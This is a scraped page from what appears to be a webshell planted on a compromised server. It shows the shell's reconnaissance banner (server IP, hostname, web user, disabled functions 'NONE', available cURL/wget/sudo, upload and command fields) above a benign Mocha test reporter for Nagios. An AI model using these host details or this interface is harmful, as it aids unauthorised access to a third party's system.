403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/push-server/tests/api/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/push-server/tests/api/nagios-reporter.js
const mocha = require("mocha");
const config = require("../../config");
const path = require("path");
const { createLogger } = require('winston');
const DailyRotateFile = require("winston-daily-rotate-file");

const logger = new createLogger({
	level: 'error',
	transports: [
		new DailyRotateFile({
			name: "test-error-log",
			level: "error",
			maxSize: 1024 * 1024 * 10,
			dirname: config.debug.folderName,
			filename: 'test-error.%DATE%.log',
			datePattern: "YYYY-MM-DD",
		})
	],
});

function NagiosReporter(runner)
{
	mocha.reporters.Base.call(this, runner);

	let passes = 0;
	let failures = 0;
	const failedTests = [];

	runner.on("pass", function(test){
		passes++;
	});

	runner.on("fail", (test, error) => {
		failures++;
		failedTests.push({test, error});
	});

	runner.on("start", () => {
		logger.error("Test execution started.");
	});

	runner.on("end", () => {

		if (failures > 0)
		{
			if (passes > 0)
			{
				console.log("Some tests failed (%d) |", failures);

				failedTests.forEach(record => {
					console.log(record.test.fullTitle());
					logger.error(
						'%s:%s',
						record.test.fullTitle(),
						record.error.message
					);
				});

				process.exit(1);
			}
			else
			{
				console.log("All the tests failed.");
				process.exit(2);
			}
		}
		else
		{
			console.log("All the tests passed successfully (%d/%d).", passes, passes + failures);
			process.exit(0);
		}

		logger.error("Test execution complete.");
	});
}

module.exports = NagiosReporter;

Youez - 2016 - github.com/yon3zu
LinuXploit